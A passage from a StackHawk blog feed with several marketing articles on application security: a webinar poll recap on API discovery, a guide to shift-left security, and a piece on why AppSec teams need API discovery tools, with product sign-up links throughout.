vulnerabilities proactively, rather than reactively responding to breaches.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;We Took to The Polls!&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Every great webinar has even better polls. Key learnings from our audience shared the need for effective API security as a must have. This session attracted a diverse audience, with 27% in AppSec, 15% in Engineering, 15% in Leadership, and 8% in DevOps roles. The different representations highlight API security as a multi-departmental challenge requiring top-down attention. When asked about their current API discovery practices, half of respondents use an automated way to monitor their API attack surface while the other half rely on manual processes to communicate the status of their API. &lt;/p&gt;&lt;p&gt;However, even with awareness of the issue, many organizations struggle to accurately assess their API attack surfaces. When asked, &amp;quot;how many APIs does your company have?&amp;quot;, responses ranged from just a few APIs to tens of thousands, with some admitting they simply didn&amp;#39;t know. This uncertainty is alarming, but is also a common  challenge faced by many organizations. For many AppSec teams, the sheer number of APIs being produced and retired is overwhelming, making it difficult to maintain a comprehensive inventory. Others may have outdated or incomplete records, such as the use of either human knowledge or tracking within spreadsheets. These practices often lead to no visibility within an organization&amp;#39;s attack surface. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Keeps Teams Up at Night &lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When asked the question, “When thinking about your attack surface, what keeps you up at night?”, an alarming number selected &amp;quot;Unknown Unknowns&amp;quot;. This uncertainty demonstrates the risks posed by undiscovered APIs. From security vulnerabilities to operational inefficiencies and compliance challenges, a lack of API visibility can have significant consequences. By proactively identifying and managing all of your organizations APIs, you can strengthen your security posture, optimize your IT operations, and mitigate compliance risks. &lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s innovative API Discovery feature (offered free with enterprise plans), provides a comprehensive view of your entire API landscape. By analyzing source code rather than relying on traditional methods like expensive to run production monitoring or outdated spreadsheets, StackHawk empowers you to proactively identify and address security vulnerabilities. This proactive approach ensures the security and efficiency of your digital assets, helping you stay ahead of emerging threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Love for StackHawk’s API Discovery &lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With StackHawk, discovering your attack surface just got a whole lot easier (and faster!). We specifically asked attendees the following:  “After seeing StackHawk’s API Discovery, does this change your perspective of how to discover your attack surface?”  

According to our poll, 60% of respondents shared that seeing StackHawk&amp;#39;s API Discovery has changed their perspective on how to discover APIs, with many excited to try it out or share it with their team. Check out the full recording of the webinar to learn more, and deep dive into:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The evolution of web development from the past 15 years and its impact on API security&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Why traditional API discovery methods fall short in modern architectures&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How StackHawk&amp;#39;s innovative approach promises to revolutionize API security management, by going straight to the source code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A live demonstration of discovering an entire API attack surface in less than 15 minutes&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Don&amp;#39;t miss out on these valuable insights. &lt;a href=&quot;https://youtu.be/_zj_p8it1PM?&quot;&gt;Watch the full webinar recording&lt;/a&gt; or &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up&lt;/a&gt; to start discovering all of your APIs in just 15 minutes, for free!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The AppSec Guide to Shift-Left Security: How to Integrate Security Earlier in the SDLC]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/the-appsec-guide-to-shift-left-security-how-to-integrate-security-earlier-in-the-sdlc</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Alexa Sevilla]]></dc:creator><content:encoded>&lt;p&gt;Unfortunately, security breaches are a harsh reality for many AppSec professionals. According to&lt;a href=&quot;https://thehackernews.com/2023/12/cost-of-data-breach-report-2023.html&quot;&gt; &lt;u&gt;IBM’s 2023 Cost of a Data Breach Report&lt;/u&gt;&lt;/a&gt;, the average cost of a data breach has reached $4.45 million, a 15% increase over the past three years. With cyberattacks growing more sophisticated, robust security measures are no longer optional—they’re essential.&lt;/p&gt;&lt;p&gt;Traditionally, application security has been treated as a final step in the&lt;a href=&quot;https://www.stackhawk.com/blog/modern-continuous-security-a-quick-start-guide-to-securing-your-software/&quot;&gt; &lt;u&gt;software development lifecycle (SDLC)&lt;/u&gt;&lt;/a&gt;—a last bastion of defense. However, as the pace of development accelerates and systems grow more complex, this approach reveals significant flaws.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Pitfalls of Late-Stage Security&lt;/b&gt;&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security as a Final Step:&lt;/b&gt; In the traditional model, security assessments, including&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-vs-penetration-testing/&quot;&gt; &lt;u&gt;penetration testing&lt;/u&gt;&lt;/a&gt; and code reviews, often occur after most development work is complete. This means security is treated as an afterthought, leading to rushed fixes that don’t address root problems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reactive Approach:&lt;/b&gt; Traditional security models are inherently reactive, addressing vulnerabilities as they arise. This increases the risk of breaches and leads to inefficiencies, with teams scrambling to fix problems under tight deadlines.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Siloed Security Teams:&lt;/b&gt; In many organizations, security teams operate separately from development and operations teams, hindering collaboration. Without ongoing input from security experts, development teams may introduce vulnerabilities that go unnoticed until it’s too late.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Costly and Time-Consuming Remediation:&lt;/b&gt; Fixing security issues late in the SDLC is expensive and time-consuming. The further along in the process a vulnerability is discovered, the more resources are required to address it. This can delay product releases and increase costs, making late discovery a significant time-sink.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Real-World Consequences&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The limitations of traditional security models have real-world implications. Issues such as late-stage security findings and vulnerabilities that get missed in testing with time-consuming and expensive fixes all impact your projects and, ultimately, how your customers and clients perceive you and your product:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Late-Stage Discovery:&lt;/b&gt; Imagine a critical vulnerability is discovered just before a product launch. The development team must drop everything to address the issue, which is causing significant delays and stress.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Missed Vulnerabilities:&lt;/b&gt; Certain vulnerabilities may go unnoticed without collaboration between development and security teams. For example, a development team might implement a feature without fully understanding its security implications, creating exploitable gaps.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Expensive Fixes and Reputational Damage:&lt;/b&gt; Vulnerabilities discovered late in the process can require extensive rework or a complete overhaul, increasing costs and potentially damaging the organization’s reputation if the issue becomes public.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These challenges underscore the need for a more integrated and proactive security approach that starts earlier in the SDLC and involves collaboration across all teams. This is where shift-left security comes in, offering a better solution for building secure applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Introducing Shift-Left Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;How can organizations stay ahead of security threats? The answer lies in shifting security left. This proactive strategy integrates security considerations much earlier in the SDLC, helping teams identify and mitigate risks before they escalate into costly breaches.&lt;/p&gt;&lt;p&gt;Shift-left security moves software security to the forefront of development. Instead of treating security as a final checkbox at the end of the SDLC, this approach embeds security practices from day one. By catching vulnerabilities early, teams can reduce the time, cost, and effort required for remediation, ultimately delivering more secure software.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Shift-Left Security: A New Paradigm&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Shift-left security represents a fundamental shift in how organizations approach application security. By moving security considerations to the earliest stages of the SDLC, teams can proactively identify and address vulnerabilities before they become critical issues.&lt;/p&gt;&lt;p&gt;With this new paradigm, some fundamental principles must be kept in mind.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration of Security from the Start:&lt;/b&gt; Shift-left security begins by incorporating security requirements into the design phase. This ensures that security is considered a core component of the system architecture from the moment a project is conceived, not an afterthought.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaboration Across Teams (DevSecOps):&lt;/b&gt; Successful shift-left security relies on collaboration between development, security, and operations teams, often called DevSecOps. By breaking down silos, organizations can foster a culture of shared responsibility for security, ensuring it is a continuous, integrated process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous and Automated Testing:&lt;/b&gt; A hallmark of shift-left security is using automated security testing tools throughout the SDLC. By integrating Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST), and Interactive Application Security Testing (IAST) into CI/CD pipelines, teams can continuously monitor for vulnerabilities as code is written, tested, and deployed, allowing for rapid identification and remediation of issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;The Benefits of Shift-Left Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;All that being said, shift-left security, of course, happens for a multitude of reasons:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Vulnerability Detection:&lt;/b&gt; Integrating security early in the SDLC allows teams to detect vulnerabilities before they become ingrained in the codebase. Early detection reduces the time and cost of fixes and improves the application&amp;#39;s overall security posture.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Faster Time-to-Market:&lt;/b&gt; Shift-left security streamlines development by resolving security issues early, reducing the need for extensive rework or last-minute fixes. This leads to more rapid and secure software delivery, helping organizations stay competitive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Collaboration and Communication:&lt;/b&gt; The DevSecOps approach promotes collaboration between development, security, and operations teams, ensuring security is a shared responsibility and resulting in more robust, secure applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Customer Trust:&lt;/b&gt; In today&amp;#39;s security-conscious environment, customers expect their data to be protected. By adopting shift-left security practices, organizations demonstrate their commitment to security, build customer trust, and enhance their brand reputation.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Real-World Examples of Shift-Left Security in Action&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Shift-left security isn’t just about changing processes—it’s about changing the culture of how security is approached within an organization. By making small changes to how we handle security testing and processes and making them an integral part of the development process, teams can build more secure software faster, which can have a considerable impact.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Threat Modeling During Design:&lt;/b&gt; During the design phase of a new application, teams conduct threat modeling exercises to identify potential security risks. By understanding these risks early on, teams can design systems with security in mind, reducing the likelihood of vulnerabilities later.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Testing in CI/CD Pipelines:&lt;/b&gt; Organizations that implement automated security testing as part of their&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt; &lt;u&gt;CI/CD pipelines&lt;/u&gt;&lt;/a&gt; can catch vulnerabilities early and often. Continuous testing allows for quick remediation and ensures security is built into every iteration of the software.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer Training on Secure Coding Practices:&lt;/b&gt; By providing developers with training on secure coding practices, organizations empower them to write code that is resilient to attacks, preventing vulnerabilities from being introduced in the first place.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Feedback Delivered Early and Often:&lt;/b&gt; Integrating security teams early in the process ensures developers receive frequent and high-quality feedback, leading to better security outcomes than waiting until the end to engage the security team.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Actionable Steps for Implementing Shift-Left Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Adopting shift-left security requires a strategic approach that integrates security practices throughout the SDLC. Here’s a step-by-step guide to get started:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Start with the Design Phase&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The foundation of shift-left security is incorporating security considerations from the very beginning of the project. During the design phase, security requirements should be included as part of the project’s functional and non-functional specifications. This ensures that security is a key aspect of the application’s architecture. You should also conduct threat modeling exercises to identify potential vulnerabilities early. By addressing these risks in the design phase, you can build more secure systems from the outset.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Automate Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Automation is critical for ensuring security checks are consistently applied throughout the SDLC.&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt; &lt;u&gt;Implement SAST, DAST, and IAST Tools&lt;/u&gt;&lt;/a&gt;. Static Application Security Testing (SAST) analyzes code for vulnerabilities during development, while Dynamic Application Security Testing (DAST) assesses running applications for security issues. Interactive Application Security Testing (IAST) combines both approaches, providing real-time insights as the application runs. Integrate these tools into your CI/CD pipeline to catch vulnerabilities early and ensure continuous security monitoring.&lt;/p&gt;&lt;p&gt;It would help if you also leveraged Continuous Integration/Continuous Deployment (CI/CD) where possible. Incorporating automated security testing into your CI/CD pipeline enforces security checks at every stage of development, ensuring vulnerabilities are identified and addressed before code is deployed to production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Empower Developers&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Developers play a crucial role in implementing shift-left security. Providing them with the right tools and training is essential. Offer regular training sessions to educate developers on secure coding practices and common vulnerabilities and how to avoid them. This will enhance their security awareness and equip them to write more secure code.&lt;/p&gt;&lt;p&gt;Another critical component is providing developer-friendly security tools&lt;b&gt;.&lt;/b&gt; Choose security tools that integrate seamlessly into the development environment and workflows. Tools that offer actionable insights without overwhelming developers with noise are essential for encouraging adoption and fostering a security-first mindset.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Foster a Culture of Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Creating a culture where security is everyone’s responsibility is vital to successful shift-left security implementation. Promote open communication between development, security, and operations teams. Regular meetings, cross-functional training, and shared goals can help break down silos and foster a collaborative environment where security is a shared priority. In agile environments, security should be part of every sprint. Incorporate security tasks into your sprint planning and retrospectives to ensure security remains a constant focus throughout development.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Continuously Monitor and Adapt&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security is not a one-time effort but an ongoing process that requires continuous monitoring and adaptation. By following these steps, you can effectively implement shift-left security within your organization, making security an integral part of your development process and reducing the risk of costly vulnerabilities. The security landscape constantly evolves, with new threats emerging regularly. Stay informed about the latest trends, vulnerabilities, and attack vectors to adapt your security practices accordingly. As your application evolves, so too should your security policies. Regularly review and update your security protocols to ensure they remain effective in addressing current threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;StackHawk: Your Partner in Shift-Left Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Implementing shift-left security can be challenging, especially for organizations new to integrating security into their development processes. This is where shift-left security tools like StackHawk come in—providing features and support to make the transition smoother and more effective.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-does-stackhawk-work/&quot;&gt;&lt;u&gt;StackHawk is a dynamic application security testing (DAST)&lt;/u&gt;&lt;/a&gt; platform designed to empower developers to take control of application security. It fits seamlessly into the shift-left approach by enabling automated security testing throughout the SDLC, ensuring that vulnerabilities are caught and addressed early in the software development lifecycle.&lt;/p&gt;&lt;p&gt;StackHawk fits into the shift-left paradigm in several ways:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Vulnerability Testing:&lt;/b&gt; With StackHawk, you can automate security testing at every stage of development. This continuous testing ensures that vulnerabilities are identified and addressed early, reducing the risk of costly security issues later in the process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Seamless CI/CD Integration:&lt;/b&gt; StackHawk integrates with popular CI/CD tools like Jenkins, GitHub Actions, and CircleCI, making it easy to incorporate security testing into your existing workflows. This integration allows for automatic security testing on every code commit or pull request, ensuring that security is continuously monitored.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Empowering Developers:&lt;/b&gt; StackHawk’s intuitive interface and detailed reports make it easier for developers to understand and fix security issues. By providing clear guidance and actionable recommendations, StackHawk empowers developers to own the security of their applications, fostering a culture of security throughout the development team.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-Time Feedback:&lt;/b&gt; With StackHawk, developers receive real-time feedback on security vulnerabilities, allowing them to address issues immediately. This reduces the time between identifying and fixing security flaws, helping teams maintain their development momentum.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;By partnering with StackHawk&lt;/u&gt;&lt;/a&gt;, you can confidently shift security left, ensuring that your applications are secure from the beginning of the development process.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Shift-left security allows teams to detect and address vulnerabilities early by moving security to the forefront of the development process. This approach fosters collaboration through DevSecOps, leverages automated testing for continuous security checks, and empowers developers to write secure code.&lt;/p&gt;&lt;p&gt;A strong security posture requires collaboration across all teams—development, security, and operations. Shift-left security is not just a technical strategy; it’s a cultural shift emphasizing shared security responsibility. By breaking down silos and encouraging open communication, organizations can build a more resilient and secure software development process.&lt;/p&gt;&lt;p&gt;Are you beginning your journey into shift-left security? Join thousands of other AppSec and development teams that have adopted StackHawk as a cornerstone of this approach. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today for a 14-day free trial&lt;/a&gt;, or speak with our team of security experts to get your shift-left initiatives off on the right foot.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[4 Reasons Your AppSec Team Should Be Using API Discovery Tools: Unveiling the Hidden Attack Surface]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/4-reasons-your-appsec-team-should-be-using-api-discovery-tools-unveiling-the-hidden-attack-surface</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces) have become critical infrastructure for modern applications, enabling seamless integration and interaction between different systems and services. As their use has skyrocketed, so have the risks associated with them. In fact, according to recent industry reports,&lt;a href=&quot;https://thenewstack.io/theres-been-a-400-increase-in-unique-api-attackers/&quot;&gt; &lt;u&gt;API-based attacks have increased by over 400%&lt;/u&gt;&lt;/a&gt; in the past year alone. One high-profile case involved a major financial institution that suffered a significant data breach&lt;a href=&quot;https://www.appsecengineer.com/blog/aws-shared-responsibility-model-capital-one-breach-case-study&quot;&gt; &lt;u&gt;due to an undiscovered and unsecured API&lt;/u&gt;&lt;/a&gt;, which exposed sensitive data for millions of customers. Incidents like this highlight the need for API discovery as part of an AppSec team&amp;#39;s toolkit. This blog will explore API discovery and why AppSec professionals must adopt and use it.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Need for API Discovery Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt;&lt;u&gt;AppSec (Application Security)&lt;/u&gt;&lt;/a&gt; teams are under immense pressure to protect sensitive data and applications in this rapidly evolving environment. The complexity and speed of modern development often lead to gaps in security coverage, particularly in APIs. This is where API discovery tools come into play. These tools are essential for modern AppSec teams. They enable them to fully understand their API attack surface and proactively secure their applications by analyzing and testing APIs that might otherwise go unprotected in production and testing environments.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Discovery Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API discovery tools are specialized solutions that automatically identify, catalog, and monitor APIs within an organization’s API footprint. By&lt;a href=&quot;https://www.stackhawk.com/blog/scanning-your-spa-with-dast-youre-doing-it-wrong/&quot;&gt; &lt;u&gt;continuously scanning network traffic, code repositories, and application environments&lt;/u&gt;&lt;/a&gt;, these tools provide a comprehensive inventory of APIs, including those that might be undocumented or under-documented/protected.&lt;/p&gt;&lt;p&gt;This visibility is crucial in today’s complex application landscape, where the proliferation of APIs, coupled with the fast pace of development, can easily lead to security blind spots, making automatic API discovery a necessity.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Uncover and Understand Your Shadow APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the rush to build and deploy new features, APIs can often be created and pushed to production without proper documentation or oversight. These undocumented APIs, known as shadow APIs, pose a significant security risk. Shadow APIs may result from rapid development, poor communication between teams, or even remnants of old versions of an application that were never fully decommissioned.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why Are They Dangerous?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Shadow APIs are dangerous because they exist outside the typical security protocols and monitoring systems. They often lack the rigorous security measures applied to documented APIs, such as authentication, rate limiting, and input validation. &lt;/p&gt;&lt;p&gt;This makes them prime targets for attackers, who can exploit these unsecured/unmonitored endpoints, leading to sensitive data exposure or manipulating the application’s functionality. Since these APIs are not part of the official API documentation, they are frequently overlooked during security scans and audits, making them a hidden but significant addition to your attack surface.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How API Discovery Tools Help&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API discovery tools are designed to illuminate these shadow APIs by actively scanning network traffic and code repositories to identify every API that an application uses or exposes, including those that are undocumented or unintentionally deployed.&lt;/p&gt;&lt;p&gt;Once identified, shadow APIs can be subject to the same security controls as the rest of the API ecosystem. AppSec teams can assess these APIs for vulnerabilities, implement necessary security measures, and integrate them into their overall security strategy.&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;This proactive approach&lt;/u&gt;&lt;/a&gt; ensures that no API is left vulnerable to attack, no matter how obscure.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Keeping Up with the Pace of Development&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Nowadays, new APIs are being created and deployed rapidly.&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt; &lt;u&gt;Continuous Integration and Continuous Deployment (CI/CD)&lt;/u&gt;&lt;/a&gt; pipelines enable development teams to push code changes multiple times a day. While this speed is great for innovation and responsiveness to market demands, it also introduces significant challenges for maintaining security.&lt;/p&gt;&lt;p&gt;Manual tracking of these APIs is not only time-consuming but also prone to errors when done in a manner that keeps up with the speed of business. This leaves gaps that can be juicy targets for hackers. By including automated &lt;a href=&quot;https://www.stackhawk.com/blog/re-defining-api-discovery-how-we-designed-api-discovery-powered-by-hawkai/&quot;&gt;&lt;u&gt;API discovery tools&lt;/u&gt;&lt;/a&gt; in the process, security teams can keep pace with the development team.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Discovery Tools Automate the Process&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To keep up with the fast pace of development, automated API discovery tools provide continuous monitoring of your API landscape. These tools integrate seamlessly into your CI/CD pipelines, ensuring that every new or modified API is automatically detected and documented. This real-time visibility allows AppSec teams to avoid potential threats by quickly identifying and mitigating vulnerabilities in newly deployed or updated APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why This Proactive Approach Is Essential&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Continuous API discovery is crucial for ensuring no API goes unnoticed or untested. By continuously monitoring API endpoints, discovery tools help security teams ensure that all APIs are included in security testing, no matter how fast they are developed or how frequently they change. &lt;/p&gt;&lt;p&gt;This proactive approach minimizes the risk of exposure from untracked APIs and ensures that vulnerabilities are identified and addressed before they can be exploited. By providing real-time updates on the&lt;a href=&quot;https://securityboulevard.com/2023/04/what-is-api-inventory-an-api-inventory-overview/&quot;&gt; &lt;u&gt;API inventory&lt;/u&gt;&lt;/a&gt;, these tools enable faster response times to security issues, making it easier for AppSec teams to protect the organization’s digital assets effectively.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Discovery Fosters Collaboration Between Dev, Sec, and Ops Teams&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The lines between development, security, and operations are increasingly blurred. However, silos still exist, and these can lead to miscommunication, inefficiencies, and security oversights. API discovery tools are pivotal in bridging these gaps by providing shared visibility into the API landscape across teams. When all teams have access to the same level of visibility about the APIs in use, it fosters better communication and collaboration, fewer misunderstandings, and less miscommunication between teams.&lt;/p&gt;&lt;h3&gt;&lt;b&gt; Breaking Down Silos&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;With API discovery tools, developers, security teams, and operations can all work from a unified inventory of APIs. Developers can quickly identify existing APIs, reducing the likelihood of duplicating effort and ensuring that new APIs are built with awareness of the organization’s current capabilities. &lt;/p&gt;&lt;p&gt;On the other hand, security teams better understand the development process. They can offer more targeted security measures rather than blanket policies that may not fit all scenarios. Understanding the entire API ecosystem benefits operations teams, allowing for better resource allocation and more effective management of API traffic and performance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Benefits of Improved Collaboration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This increased collaboration leads to faster identification and remediation of security issues. When security concerns arise, the clear communication channels enabled by API discovery tools ensure they can be addressed swiftly and efficiently. These tools contribute to a more efficient and effective security program by reducing duplication of effort and improving the accuracy of security testing.&lt;/p&gt;&lt;p&gt;As an added benefit, developers and security professionals work more closely together and build mutual respect and understanding, leading to more robust security practices being integrated into the development lifecycle from the outset across the organization.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Regulatory Landscape and API Visibility: Meeting Compliance Requirements&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In an era where data breaches can result in hefty fines and irreparable damage to a company’s reputation, regulatory compliance is a non-negotiable. Many industry regulations, such as&lt;a href=&quot;https://www.pcisecuritystandards.org/standards/&quot;&gt; &lt;u&gt;PCI DSS (Payment Card Industry Data Security Standard)&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.subr.edu/assets/subr/StudentHealthCenter/What_IS_HIPPA.pdf&quot;&gt; &lt;u&gt;HIPAA (Health Insurance Portability and Accountability Act)&lt;/u&gt;&lt;/a&gt;, and&lt;a href=&quot;https://gdpr.eu/what-is-gdpr/&quot;&gt; &lt;u&gt;GDPR (General Data Protection Regulation)&lt;/u&gt;&lt;/a&gt;, have stringent requirements around data security and privacy. A key aspect of meeting these requirements is having comprehensive visibility into all APIs within your organization.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Discovery Tools &amp;amp; Compliance&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API discovery tools help organizations maintain compliance by providing a detailed and up-to-date inventory of all APIs. This inventory demonstrates to auditors and regulators that your organization has complete control over its data flows and access points. By ensuring that all APIs are accounted for, documented, and secured, these tools reduce the risk of non-compliance, which can lead to penalties and loss of customer trust.&lt;/p&gt;&lt;p&gt;Moreover, many regulations require regular security testing and monitoring of all potential entry points, including APIs. API discovery tools streamline this process by continuously identifying and cataloging APIs, ensuring they are included in security scans and compliance audits. This proactive approach not only helps in avoiding material exceptions and penalties but also strengthens your organization&amp;#39;s overall security posture.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As we discussed in this blog, API discovery tools are indispensable for modern AppSec teams, offering several critical benefits:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Uncovering Shadow APIs&lt;/b&gt;: They help identify undocumented and potentially vulnerable APIs that attackers could exploit.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Keeping Pace with Development&lt;/b&gt;: These tools automate API discovery and tracking, ensuring that no API is left unchecked, no matter how rapidly your development cycle moves.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhancing Team Collaboration&lt;/b&gt;: Shared visibility into APIs fosters better communication and collaboration between development, security, and operations teams.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Meeting Compliance Requirements&lt;/b&gt;: API discovery tools help ensure that all APIs are accounted for and secured, making it easier to meet regulatory requirements and avoid compliance issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Explore StackHawk&amp;#39;s API Discovery Capabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;At StackHawk, we understand the challenges of securing modern applications. Our API discovery tools are designed to help uncover, test, and secure all your APIs in one place, ensuring your organization is protected against emerging threats. With StackHawk, you can gain the visibility and control needed to safeguard your applications and maintain compliance in today’s complex digital environment.&lt;/p&gt;&lt;p&gt;Ready to take control of your API security? Learn more about&lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt; &lt;u&gt;StackHawk’s API discovery features&lt;/u&gt;&lt;/a&gt; and see how we can help you secure your applications by &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;starting a free trial today&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Enabling Shift-Left Practices Through AppSec and Developer Training]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/enabling-shift-left-practices-through-appsec-and-developer-training</guid><category><![CDATA[Onboarding]]></category><dc:creator><![CDATA[Matt Thompson ]]></dc:creator><content:encoded>&lt;h2&gt;How can StackHawk Customer Success Help Drive More Value?&lt;/h2&gt;&lt;p&gt;At the beginning of the year, our team gathered to strategize on what we can do in Customer Success to help our customers maximize their investment 